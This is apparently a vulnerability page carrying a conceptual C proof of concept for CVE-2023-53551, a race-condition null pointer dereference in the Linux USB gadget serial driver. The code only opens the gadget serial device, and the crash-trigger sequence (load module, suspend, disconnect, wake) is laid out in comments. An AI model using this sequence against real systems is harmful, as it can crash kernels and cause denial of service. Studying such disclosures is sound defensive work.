CVE-2023-53551 Linux内核USB Gadget串口驱动空指针解引用漏洞

// PoC for CVE-2023-53551 - Linux Kernel USB Gadget u_serial Null Pointer Dereference // This PoC demonstrates the race condition trigger concept // Note: Actual exploitation requires kernel module loading or specific USB device setup #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <linux/usbdevice_fs.h> // Step 1: Open USB gadget serial device int open_gserial() { int fd = open("/dev/ttyGS0", O_RDWR | O_NONBLOCK); if (fd < 0) { perror("Failed to open /dev/ttyGS0"); return -1; } return fd; } // Step 2: Trigger the race condition // The actual trigger requires: // 1. Loading the g_serial kernel module // 2. Configuring USB gadget // 3. Suspending the system // 4. Disconnecting during suspend // 5. Triggering wakeup interrupt int trigger_vuln() { // This is a conceptual PoC - actual exploitation requires kernel-level access printf("Triggering CVE-2023-53551 race condition...\n"); // The vulnerability is in gserial_resume accessing gser->ioport // after gserial_disconnect has set it to NULL // Kernel-level trigger sequence: // 1. modprobe g_serial (load the vulnerable module) // 2. echo mem > /sys/power/state (suspend system) // 3. Disconnect USB device (triggers gserial_disconnect -> ioport = NULL) // 4. USB wakeup event (triggers gserial_resume -> NULL dereference) return 0; } int main() { int fd = open_gserial(); if (fd >= 0) { trigger_vuln(); close(fd); } return 0; }